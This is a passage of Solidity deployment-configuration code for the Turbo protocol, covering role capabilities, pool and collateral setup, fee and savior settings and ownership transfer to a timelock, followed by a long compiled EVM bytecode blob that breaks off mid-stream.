defaultAuthority.setRoleCapability(ROUTER_ROLE, ERC4626.deposit.selector, true); defaultAuthority.setRoleCapability(ROUTER_ROLE, ERC4626.mint.selector, true); defaultAuthority.setRoleCapability(ROUTER_ROLE, ERC4626.withdraw.selector, true); defaultAuthority.setRoleCapability(ROUTER_ROLE, ERC4626.redeem.selector, true); // SAVIOR_ROLE defaultAuthority.setRoleCapability(SAVIOR_ROLE, TurboSafe.less.selector, true); } /// @notice configure the turbo pool through turboAdmin. TurboAdmin requires pool ownership, and Configurer requires TURBO_ADMIN_ROLE. function configurePool(TurboAdmin turboAdmin, TurboBooster booster) public { turboAdmin._deployMarket( address(fei), turboAdmin.ZERO_IRM(), "Turbo Fei", "fFEI", turboAdmin.CTOKEN_IMPL(), new bytes(0), 0, 0, 0 ); turboAdmin.addCollateral( address(tribe), "Turbo Tribe", "fTRIBE", 60e16, 50_000_000e18 ); booster.setBoostCapForCollateral(tribe, 2_000_000e18); // 1M boost cap TRIBE address[] memory users = new address[](1); users[0] = feiDAOTimelock; bool[] memory enabled = new bool[](1); enabled[0] = true; turboAdmin._setWhitelistStatuses(users, enabled); } /// @notice requires TURBO_ADMIN_ROLE. function configureClerk(TurboClerk clerk) public { clerk.setDefaultFeePercentage(75e16); // 75% default revenue split } /// @notice requires TURBO_ADMIN_ROLE. function configureSavior(TurboSavior savior) public { savior.setMinDebtPercentageForSaving(80e16); // 80% } /// @notice requires ownership of Turbo Authority and default authority. function configureRoles( MultiRolesAuthority turboAuthority, MultiRolesAuthority defaultAuthority, TurboRouter router, TurboSavior savior, TurboGibber gibber ) public { defaultAuthority.setUserRole(address(router), ROUTER_ROLE, true); defaultAuthority.setUserRole(address(savior), SAVIOR_ROLE, true); turboAuthority.setUserRole(address(gibber), GIBBER_ROLE, true); } /// @notice requires TURBO_ADMIN_ROLE and ownership over Turbo Authority. function configureMaster( TurboMaster master, TurboClerk clerk, TurboBooster booster, TurboAdmin admin, MultiRolesAuthority defaultAuthority ) public { MultiRolesAuthority turboAuthority = MultiRolesAuthority(address(master.authority())); turboAuthority.setUserRole(address(master), TURBO_ADMIN_ROLE, true); turboAuthority.setUserRole(address(admin), TURBO_ADMIN_ROLE, true); turboAuthority.setUserRole(address(feiDAOTimelock), TURBO_ADMIN_ROLE, true); turboAuthority.setUserRole(address(feiDAOTimelock), GOVERN_ROLE, true); turboAuthority.setUserRole(address(guardian), GUARDIAN_ROLE, true); master.setClerk(clerk); master.setBooster(booster); master.setDefaultSafeAuthority(defaultAuthority); } function configureAdmin(MultiRolesAuthority turboAuthority, Comptroller pool, TurboAdmin admin) public { // temporarily assume ownership of pool (required by deployer) pool._acceptAdmin(); // Temporarily grant the deployer the turbo admin role for setup turboAuthority.setUserRole(address(this), TURBO_ADMIN_ROLE, true); pool._setPendingAdmin(address(admin)); admin._acceptAdmin(); } function resetOwnership( MultiRolesAuthority defaultAuthority, MultiRolesAuthority turboAuthority, TimelockController turboTimelock, address admin ) public { if (admin != address(0)) { turboAuthority.setUserRole(admin, TURBO_ADMIN_ROLE, true); } turboAuthority.setUserRole(address(this), TURBO_ADMIN_ROLE, false); turboAuthority.setOwner(address(turboTimelock)); defaultAuthority.setOwner(address(turboTimelock)); } }
0x60806040523480156200001157600080fd5b5060043610620001755760003560e01c80638b72c5d911620000d3578063b87ee7af1162000086578063b87ee7af1462000397578063bf7e214f14620003ab578063c19e5e1e14620003bf578063c6def07614620003d6578063d19f55a614620003ea578063eda4e6cd146200040d57600080fd5b80638b72c5d914620002ec5780638cbf46ae146200030f5780638da5cb5b1462000328578063952899fc146200033c5780639a9ba4da1462000358578063a62d3da7146200038057600080fd5b806362c06767116200012c57806362c067671462000234578063631516c2146200024b57806377dd4ac314620002645780637a9e5e4b146200027b5780637c2f1a28146200029257806389adbf6614620002b557600080fd5b80630bb704cf146200017a57806313af4035146200019357806316f0115b14620001aa5780633a58598814620001ef578063434efcbd14620002065780635a826df3146200021d575b600080fd5b620001916200018b36600462000fd7565b62000421565b005b62000191620001a43660046200101d565b620004f1565b620001d27f0000000000000000000000001d9eee473cc1b3b6d316740f5677ef36e8f0329e81565b6040516001600160a01b0390911681526020015b60405180910390f35b620001916200020036600462000fd7565b62000573565b620001d26200021736600462001044565b62000731565b620001916200022e3660046200101d565b6200075c565b620001916200024536600462000fd7565b620007ea565b6200025560055481565b604051908152602001620001e6565b620001916200027536600462001074565b62000894565b620001916200028c3660046200101d565b6200094e565b62000255620002a33660046200101d565b60076020526000908152604090205481565b620002cc620002c63660046200101d565b62000a3f565b604080516001600160a01b039093168352602083019190915201620001e6565b62000255620002fd3660046200101d565b60086020526000908152604090205481565b6200031962000d0b565b604051620001e691906200112f565b600054620001d2906001600160a01b031681565b620001d273084b1c3c81545d370f3634392de611caabff814881565b620001d27f000000000000000000000000956f47f50a910163d8bf957cf5846d573e7f87ca81565b62000191620003913660046200101d565b62000d6f565b600354620001d2906001600160a01b031681565b600154620001d2906001600160a01b031681565b62000191620003d03660046200101d565b62000df7565b600254620001d2906001600160a01b031681565b62000255620003fb3660046200101d565b60066020526000908152604090205481565b600454620001d2906001600160a01b031681565b33600081815260066020526040902054620004725760405162461bcd60e51b815260206004820152600c60248201526b494e56414c49445f5341464560a01b60448201526064015b60405180910390fd5b6001600160a01b038316600090815260076020526040812080548492906200049c90849062001194565b925050819055508160056000828254620004b7919062001194565b90915550506001600160a01b03841660009081526008602052604081208054849290620004e690849062001194565b909155505050505050565b62000509336000356001600160e01b03191662000e7f565b620005285760405162461bcd60e51b81526004016200046990620011ae565b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8292fce18fa69edf4db7b94ea2e58241df0ae57f97e0a6c9b29067028bf92d769190a350565b33600081815260066020526040902054620005c05760405162461bcd60e51b815260206004820152600c60248201526b494e56414c49445f5341464560a01b604482015260640162000469565b8160056000828254620005d49190620011d4565b90915550506001600160a01b038316600090815260076020526040812054819062000601908590620011d4565b6001600160a01b038087166000908152600760209081526040808320859055928a1682526008905220549092506200063b908590620011d4565b6001600160a01b03878116600081815260086020526040908190208490556002549051639d4c2af760e01b8152878416600482015260248101929092528883166044830152606482018890526084820186905260a48201849052929350911690639d4c2af79060c401602060405180830381865afa158015620006c2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620006e89190620011ef565b620007295760405162461bcd60e51b815260206004820152601060248201526f1093d3d4d5115497d491529150d5115160821b604482015260640162000469565b505050505050565b600981815481106200074257600080fd5b6000918252602090912001546001600160a01b0316905081565b62000774336000356001600160e01b03191662000e7f565b620007935760405162461bcd60e51b81526004016200046990620011ae565b600280546001600160a01b0319166001600160a01b03831690811790915560405190815233907f382ae7807b72e354764667e9e1dd5cd575c3fe7cee12add48bcfaa99e891e2c9906020015b60405180910390a250565b62000802336000356001600160e01b03191662000e7f565b620008215760405162461bcd60e51b81526004016200046990620011ae565b816001600160a01b0316836001600160a01b0316336001600160a01b03167fa0fae858a9c4a671705052e5103905b60b9c710986ae33bbd7c4108a96e8bdec846040516200087191815260200190565b60405180910390a46200088f6001600160a01b038316848362000f30565b505050565b620008ac336000356001600160e01b03191662000e7f565b620008cb5760405162461bcd60e51b81526004016200046990620011ae565b60405163c47f002760e01b815273084b1c3c81545d370f3634392de611caabff81489063c47f0027906200090490849060040162001213565b6020604051808303816000875af115801562000924573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200094a91906200126b565b5050565b6000546001600160a01b0316331480620009e9575060015460405163b700961360e01b81526001600160a01b039091169063b700961390620009a590339030906001600160e01b0319600035169060040162001285565b602060405180830381865afa158015620009c3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620009e99190620011ef565b620009f357600080fd5b600180546001600160a01b0319166001600160a01b03831690811790915560405133907fa3396fd7f6e0a21b50e5089d2da70d5ac0a3bbbd1f617a93f134b7638998019890600090a350565b60008062000a5a336000356001600160e01b03191662000e7f565b62000a795760405162461bcd60e51b81526004016200046990620011ae565b60045460405133916001600160a01b031690859062000a989062000fb0565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103906000f08015801562000ad5573d6000803e3d6000fd5b50600980546001810182557f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b0319166001600160a01b0384811691821790925591546000838152600660209081526040918290206000199093019283905581519485528401829052939550935085169133917f49ca6ed85336e565e010a8e6724df54d52e49015a3e0e726d8a315098dbb1b59910160405180910390a360408051600180825281830190925260009160208083019080368337019050509050828160008151811062000bb55762000bb5620012b2565b6001600160a01b03929092166020928302919091019091015260408051600180825281830190925260009181602001602082028036833701905050905060018160008151811062000c0a5762000c0a620012b2565b6020026020010190151590811515815250507f0000000000000000000000001d9eee473cc1b3b6d316740f5677ef36e8f0329e6001600160a01b031663f851a4406040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000c7b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000ca19190620012c8565b6001600160a01b031663c8c9c97583836040518363ffffffff1660e01b815260040162000cd0929190620012e8565b600060405180830381600087803b15801562000ceb57600080fd5b505af115801562000d00573d6000803e3d6000fd5b505050505050915091565b6060600980548060200260200160405190810160405280929190818152602001828054801562000d6557602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831162000d46575b5050505050905090565b62000d87336000356001600160e01b03191662000e7f565b62000da65760405162461bcd60e51b81526004016200046990620011ae565b600480546001600160a01b0319166001600160a01b03831690811790915560405190815233907f4ebbe8f76474854ba65b18eb0cdbd5217493b303404e49cec35a83722f21384790602001620007df565b62000e0f336000356001600160e01b03191662000e7f565b62000e2e5760405162461bcd60e51b81526004016200046990620011ae565b600380546001600160a01b0319166001600160a01b03831690811790915560405190815233907fadb88fd358add1939604589383a855ef0a42b3a8a22c5a3aa5be3c1ef6b7ec2090602001620007df565b6001546000906001600160a01b0316801580159062000f0f575060405163b700961360e01b81526001600160a01b0382169063b70096139062000ecb9087903090889060040162001285565b602060405180830381865afa15801562000ee9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000f0f9190620011ef565b8062000f2857506000546001600160a01b038581169116145b949350505050565b600060405163a9059cbb60e01b8152836004820152826024820152602060006044836000895af13d15601f3d116001600051141617169150508062000faa5760405162461bcd60e51b815260206004820152600f60248201526e1514905394d1915497d19052531151608a1b604482015260640162000469565b50505050565b613e40806200137383390190565b6001600160a01b038116811462000fd457600080fd5b50565b60008060006060848603121562000fed57600080fd5b833562000ffa8162000fbe565b925060208401356200100c8162000fbe565b929592945050506040919091013590565b6000602082840312156200103057600080fd5b81356200103d8162000fbe565b9392505050565b6000602082840312156200105757600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602082840312156200108757600080fd5b813567ffffffffffffffff80821115620010a057600080fd5b818401915084601f830112620010b557600080fd5b813581811115620010ca57620010ca6200105e565b604051601f8201601f19908116603f01168101908382118183101715620010f557620010f56200105e565b816040528281528760208487010111156200110f57600080fd5b826020860160208301376000928101602001929092525095945050505050565b6020808252825182820181905260009190848201906040850190845b81811015620011725783516001600160a01b0316835292840192918401916001016200114b565b50909695505050505050565b634e487b7160e01b600052601160045260246000fd5b600082821015620011a957620011a96200117e565b500390565b6020808252600c908201526b15539055551213d49256915160a21b604082015260600190565b60008219821115620011ea57620011ea6200117e565b500190565b6000602082840312156200120257600080fd5b815180151581146200103d57600080fd5b600060208083528351808285015260005b81811015620012425785810183015185820160400152820162001224565b8181111562001255576000604083870101525b50601f01601f1916929092016040019392505050565b6000602082840312156200127e57600080fd5b5051919050565b6001600160a01b0393841681529190921660208201526001600160e01b0319909116604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060208284031215620012db57600080fd5b81516200103d8162000fbe565b604080825283519082018190526000906020906060840190828701845b828110156200132c5781516001600160a01b03168452928401929084019060010162001305565b5050508381038285015284518082528583019183019060005b818110156200136557835115158352928401929184019160010162001345565b509097965050505050505056fe6101a060405260016008553480156200001757600080fd5b5060405162003e4038038062003e408339810160408190526200003a9162000880565b80816001600160a01b03166306fdde036040518163ffffffff1660e01b8152600401600060405180830381865afa1580156200007a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052620000a491908101906200094c565b604051602001620000b69190620009ea565b604051602081830303815290604052826001600160a01b03166395d89b416040518163ffffffff1660e01b8152600401600060405180830381865afa15801562000104573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526200012e91908101906200094c565b60405160200162000140919062000a1b565b6040516020818303038152906040528181846001600160a01b031663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000190573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b6919062000a47565b600080546001600160a01b03199081166001600160a01b038c8116918217845560018054909316908c16179091556040518b928b929133917f8292fce18fa69edf4db7b94ea2e58241df0ae57f97e0a6c9b29067028bf92d7691a36040516001600160a01b0382169033907fa3396fd7f6e0a21b50e5089d2da70d5ac0a3bbbd1f617a93f134b7638998019890600090a3505082516200025e906002906020860190620007c1565b50815162000274906003906020850190620007c1565b5060ff81166080524660a0526200028a620006a6565b60c0525050506001600160a01b0390921660e05250503361010081905260408051634d4dd26d60e11b81529051639a9ba4da916004808201926020929091908290030181865afa158015620002e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000309919062000a73565b6001600160a01b0390811661012081905260e0519091161415620003645760405162461bcd60e51b815260206004820152600d60248201526c1253959053125117d054d4d155609a1b60448201526064015b60405180910390fd5b610100516001600160a01b03166316f0115b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003a6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003cc919062000a73565b6001600160a01b03908116610140819052610120516040516318ffa3fd60e11b815292166004830152906331ff47fa90602401602060405180830381865afa1580156200041d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000443919062000a73565b6001600160a01b03908116610160526101405160e0516040516318ffa3fd60e11b815290831660048201529116906331ff47fa90602401602060405180830381865afa15801562000498573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004be919062000a73565b6001600160a01b03166101808190526200050f5760405162461bcd60e51b8152602060048201526011602482015270155394d5541413d495115117d054d4d155607a1b60448201526064016200035b565b6040805160018082528183019092526000916020808301908036833701905050905061018051816000815181106200054b576200054b62000a93565b6001600160a01b03928316602091820292909201015261014051604051631853304760e31b815291169063c2998238906200058b90849060040162000aa9565b6000604051808303816000875af1158015620005ab573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052620005d5919081019062000af8565b600081518110620005ea57620005ea62000a93565b6020026020010151600014620006435760405162461bcd60e51b815260206004820152601460248201527f454e5445525f4d41524b4554535f4641494c454400000000000000000000000060448201526064016200035b565b6200066f6101805160001960e0516001600160a01b03166200074260201b620025f4179092919060201c565b6200069c61016051600019610120516001600160a01b03166200074260201b620025f4179092919060201c565b5050505062000c89565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6002604051620006da919062000be5565b6040805191829003822060208301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b600060405163095ea7b360e01b8152836004820152826024820152602060006044836000895af13d15601f3d1160016000511416171691505080620007bb5760405162461bcd60e51b815260206004820152600e60248201526d1054141493d59157d1905253115160921b60448201526064016200035b565b50505050565b828054620007cf9062000ba8565b90600052602060002090601f016020900481019282620007f357600085556200083e565b82601f106200080e57805160ff19168380011785556200083e565b828001600101855582156200083e579182015b828111156200083e57825182559160200191906001019062000821565b506200084c92915062000850565b5090565b5b808211156200084c576000815560010162000851565b6001600160a01b03811681146200087d57600080fd5b50565b6000806000606084860312156200089657600080fd5b8351620008a38162000867565b6020850151909350620008b68162000867565b6040850151909250620008c98162000867565b809150509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f191681016001600160401b0381118282101715620009155762000915620008d4565b604052919050565b60005b838110156200093a57818101518382015260200162000920565b83811115620007bb5750506000910152565b6000602082840312156200095f57600080fd5b81516001600160401b03808211156200097757600080fd5b818401915084601f8301126200098c57600080fd5b815181811115620009a157620009a1620008d4565b620009b6601f8201601f1916602001620008ea565b9150808252856020828501011115620009ce57600080fd5b620009e18160208401602086016200091d565b50949350505050565b60008251620009fe8184602087016200091d565b6a20547572626f205361666560a81b920191825250600b01919050565b61747360f01b81526000825162000a3a8160028501602087016200091d565b9190910160020192915050565b60006020828403121562000a5a57600080fd5b815160ff8116811462000a6c57600080fd5b9392505050565b60006020828403121562000a8657600080fd5b815162000a6c8162000867565b634e487b7160e01b600052603260045260246000fd5b6020808252825182820181905260009190848201906040850190845b8181101562000aec5783516001600160a01b03168352928401929184019160010162000ac5565b50909695505050505050565b6000602080838503121562000b0c57600080fd5b82516001600160401b038082111562000b2457600080fd5b818501915085601f83011262000b3957600080fd5b81518181111562000b4e5762000b4e620008d4565b8060051b915062000b61848301620008ea565b818152918301840191848101908884111562000b7c57600080fd5b938501935b8385101562000b9c5784518252938501939085019062000b81565b98975050505050505050565b600181811c9082168062000bbd57607f821691505b6020821081141562000bdf57634e487b7160e01b600052602260045260246000fd5b50919050565b600080835481600182811c91508083168062000c0257607f831692505b602080841082141562000c2357634e487b7160e01b86526022600452602486fd5b81801562000c3a576001811462000c4c5762000c7b565b60ff1986168952848901965062000c7b565b60008a81526020902060005b8681101562000c735781548b82015290850190830162000c58565b505084890196505b509498975050505050505050565b60805160a05160c05160e051610100516101205161014051610160516101805161308262000dbe6000396000818161064d015281816106b00152818161074501528181610cc001528181611d3c015281816129de0152612b0601526000818161053a01528181611124015281816112700152611b900152600061030c0152600081816105130152818161189e015281816119820152611c4f01526000818161067401528181610a9f01528181610bb901528181610e43015281816111ea01528181611360015281816116650152818161186f0152611a9a0152600081816103d701528181610d7f015281816111b00152818161170101528181611a6301528181611e7201528181611ff8015281816121f3015261233c01526000610de401526000610db40152600061037001526130826000f3fe608060405234801561001057600080fd5b50600436106102745760003560e01c806370a0823111610151578063ba087652116100c3578063d505accf11610087578063d505accf146105e1578063d905777e146105f4578063dd62ed3e1461061d578063ec11e16714610648578063ee97f7f31461066f578063ef8b30f71461069657600080fd5b8063ba08765214610595578063bf7e214f146105a8578063c63d75b6146103f9578063c6e6f592146105bb578063ce96cb77146105ce57600080fd5b806395d89b411161011557806395d89b41146105065780639a9ba4da1461050e578063a1ea7d6a14610535578063a9059cbb1461055c578063b3d7f6b91461056f578063b460af941461058257600080fd5b806370a082311461048d5780637a9e5e4b146104ad5780637ecebe00146104c05780638da5cb5b146104e057806394bf804d146104f357600080fd5b80633636a930116101ea5780634b5d5fbd116101ae5780634b5d5fbd1461040e5780634cdad506146104215780635fd35eb91461043457806361d0e43a1461045457806362c06767146104675780636e553f651461047a57600080fd5b80633636a930146103a45780633644e515146103b75780633776d3d9146103bf57806338d52e0f146103d2578063402d267d146103f957600080fd5b806313af40351161023c57806313af4035146102f257806316f0115b1461030757806318160ddd1461034657806321fcf7501461034f57806323b872dd14610358578063313ce5671461036b57600080fd5b806301e1d1141461027957806306fdde031461029457806307a2d13a146102a9578063095ea7b3146102bc5780630a28a477146102df575b600080fd5b6102816106a9565b6040519081526020015b60405180910390f35b61029c6107c3565b60405161028b9190612c1a565b6102816102b7366004612c6f565b610851565b6102cf6102ca366004612ca0565b61087e565b604051901515815260200161028b565b6102816102ed366004612c6f565b6108eb565b610305610300366004612ccc565b61090b565b005b61032e7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161028b565b61028160045481565b61028160095481565b6102cf610366366004612ce9565b610991565b6103927f000000000000000000000000000000000000000000000000000000000000000081565b60405160ff909116815260200161028b565b6103056103b2366004612ca0565b610a71565b610281610db0565b6103056103cd366004612ca0565b610e06565b61032e7f000000000000000000000000000000000000000000000000000000000000000081565b610281610407366004612ccc565b5060001990565b61028161041c366004612ccc565b611321565b61028161042f366004612c6f565b61191c565b610281610442366004612ccc565b600a6020526000908152604090205481565b610305610462366004612ca0565b611927565b610305610475366004612ce9565b611ce7565b610281610488366004612d2a565b611e1d565b61028161049b366004612ccc565b60056020526000908152604090205481565b6103056104bb366004612ccc565b611ef4565b6102816104ce366004612ccc565b60076020526000908152604090205481565b60005461032e906001600160a01b031681565b610281610501366004612d2a565b611fde565b61029c61207a565b61032e7f000000000000000000000000000000000000000000000000000000000000000081565b61032e7f000000000000000000000000000000000000000000000000000000000000000081565b6102cf61056a366004612ca0565b612087565b61028161057d366004612c6f565b6120ed565b610281610590366004612d5a565b61210c565b6102816105a3366004612d5a565b61221a565b60015461032e906001600160a01b031681565b6102816105c9366004612c6f565b612363565b6102816105dc366004612ccc565b612383565b6103056105ef366004612d9c565b6123a5565b610281610602366004612ccc565b6001600160a01b031660009081526005602052604090205490565b61028161062b366004612e13565b600660209081526000928352604080842090915290825290205481565b61032e7f000000000000000000000000000000000000000000000000000000000000000081565b61032e7f000000000000000000000000000000000000000000000000000000000000000081565b6102816106a4366004612c6f565b6125e9565b60006107be7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663182df0f56040518163ffffffff1660e01b8152600401602060405180830381865afa15801561070c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107309190612e41565b6040516370a0823160e01b81523060048201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316906370a0823190602401602060405180830381865afa158015610794573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b89190612e41565b90612671565b905090565b600280546107d090612e5a565b80601f01602080910402602001604051908101604052809291908181526020018280546107fc90612e5a565b80156108495780601f1061081e57610100808354040283529160200191610849565b820191906000526020600020905b81548152906001019060200180831161082c57829003601f168201915b505050505081565b6004546000908015610875576108706108686106a9565b849083612682565b610877565b825b9392505050565b3360008181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906108d99086815260200190565b60405180910390a35060015b92915050565b600454600090801561087557610870816109036106a9565b8591906126a1565b610921336000356001600160e01b0319166126cf565b6109465760405162461bcd60e51b815260040161093d90612e95565b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8292fce18fa69edf4db7b94ea2e58241df0ae57f97e0a6c9b29067028bf92d769190a350565b6001600160a01b038316600090815260066020908152604080832033845290915281205460001981146109ed576109c88382612ed1565b6001600160a01b03861660009081526006602090815260408083203384529091529020555b6001600160a01b03851660009081526005602052604081208054859290610a15908490612ed1565b90915550506001600160a01b038085166000818152600560205260409081902080548701905551909187169060008051602061302d83398151915290610a5e9087815260200190565b60405180910390a3506001949350505050565b600854600114610a935760405162461bcd60e51b815260040161093d90612ee8565b600260088190555060007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663bf7e214f6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610afb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1f9190612f0c565b90506001600160a01b03811615801590610bb1575060405163b700961360e01b81526001600160a01b0382169063b700961390610b7090339030906001600160e01b03196000351690600401612f29565b602060405180830381865afa158015610b8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb19190612f56565b80610c4e57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c399190612f0c565b6001600160a01b0316336001600160a01b0316145b610c6a5760405162461bcd60e51b815260040161093d90612e95565b6040518281526001600160a01b0384169033907fafde937308e3465d892de3ee55bed5ca395385a6ebe0823137d0c300f5aaf6359060200160405180910390a360405163852a12e360e01b8152600481018390527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063852a12e3906024016020604051808303816000875af1158015610d11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d359190612e41565b15610d725760405162461bcd60e51b815260206004820152600d60248201526c14915111515357d19052531151609a1b604482015260640161093d565b610da66001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000168484612779565b5050600160085550565b60007f00000000000000000000000000000000000000000000000000000000000000004614610de1576107be6127f1565b507f000000000000000000000000000000000000000000000000000000000000000090565b600854600114610e285760405162461bcd60e51b815260040161093d90612ee8565b60026008556000546001600160a01b0316331461100d5760007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663bf7e214f6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec39190612f0c565b90506001600160a01b0381161580610f55575060405163b700961360e01b81526001600160a01b0382169063b700961390610f1290339030906001600160e01b03196000351690600401612f29565b602060405180830381865afa158015610f2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f539190612f56565b155b1561100b576001546001600160a01b03168015801590610fed575060405163b700961360e01b81526001600160a01b0382169063b700961390610fac90339030906001600160e01b03196000351690600401612f29565b602060405180830381865afa158015610fc9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fed9190612f56565b6110095760405162461bcd60e51b815260040161093d90612e95565b505b505b6001600160a01b0382166000908152600a602052604081208054839290611035908490612ed1565b92505081905550806009600082825461104e9190612ed1565b90915550506040518181526001600160a01b0383169033907f9bbe84c9c6d0d7d6dc77064f8403d848cace721f1ea41b3c61699f3f2d2aaff49060200160405180910390a3604051632d182be560e21b815260048101829052306024820181905260448201526001600160a01b0383169063b460af94906064016020604051808303816000875af11580156110e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110b9190612e41565b506040516305eff7ef60e21b81523060048201526000907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316906317bfdfbc906024016020604051808303816000875af1158015611175573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111999190612e41565b604051630bb704cf60e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660048301528581166024830152604482018590529192507f000000000000000000000000000000000000000000000000000000000000000090911690630bb704cf90606401600060405180830381600087803b15801561123057600080fd5b505af1158015611244573d6000803e3d6000fd5b5050505080821115611254578091505b8115610da65760405163073a938160e11b8152600481018390527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690630e752702906024016020604051808303816000875af11580156112c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e59190612e41565b15610da65760405162461bcd60e51b815260206004820152600c60248201526b149154105657d1905253115160a21b604482015260640161093d565b60006008546001146113455760405162461bcd60e51b815260040161093d90612ee8565b60026008556000546001600160a01b0316331461152a5760007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663bf7e214f6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e09190612f0c565b90506001600160a01b0381161580611472575060405163b700961360e01b81526001600160a01b0382169063b70096139061142f90339030906001600160e01b03196000351690600401612f29565b602060405180830381865afa15801561144c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114709190612f56565b155b15611528576001546001600160a01b0316801580159061150a575060405163b700961360e01b81526001600160a01b0382169063b7009613906114c990339030906001600160e01b03196000351690600401612f29565b602060405180830381865afa1580156114e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150a9190612f56565b6115265760405162461bcd60e51b815260040161093d90612e95565b505b505b6001600160a01b0382166000908152600a6020526040902054806115815760405162461bcd60e51b815260206004820152600e60248201526d1393d7d1915257d093d3d4d5115160921b604482015260640161093d565b6040516370a0823160e01b815230600482015260009082906001600160a01b03861690634cdad5069082906370a0823190602401602060405180830381865afa1580156115d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115f69190612e41565b6040518263ffffffff1660e01b815260040161161491815260200190565b602060405180830381865afa158015611631573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116559190612e41565b61165f9190612ed1565b905060007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663b87ee7af6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e59190612f0c565b60405162ede82760e41b81523060048201526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660248301529190911690630ede827090604401602060405180830381865afa158015611752573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117769190612e41565b905060006117848383612671565b90506117908184612ed1565b60408051838152602081018390529196506001600160a01b0388169133917f230ea7611927651b3794f5980dc4d2cbec255585dcb10c3ccbc3e4614d8455b1910160405180910390a3604051632d182be560e21b815260048101849052306024820181905260448201526001600160a01b0387169063b460af94906064016020604051808303816000875af115801561182d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118519190612e41565b50801561190d5760405163a9059cbb60e01b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166004830152602482018390527f0000000000000000000000000000000000000000000000000000000000000000169063a9059cbb906044016020604051808303816000875af11580156118e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061190b9190612f56565b505b50506001600855509092915050565b60006108e582610851565b6008546001146119495760405162461bcd60e51b815260040161093d90612ee8565b6002600855611964336001600160e01b0319600035166126cf565b6119805760405162461bcd60e51b815260040161093d90612e95565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b03166338d52e0f6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119e8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a0c9190612f0c565b6001600160a01b031614611a4c5760405162461bcd60e51b81526020600482015260076024820152664e4f545f46454960c81b604482015260640161093d565b60405163074b0b3160e31b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660048301528381166024830152604482018390527f0000000000000000000000000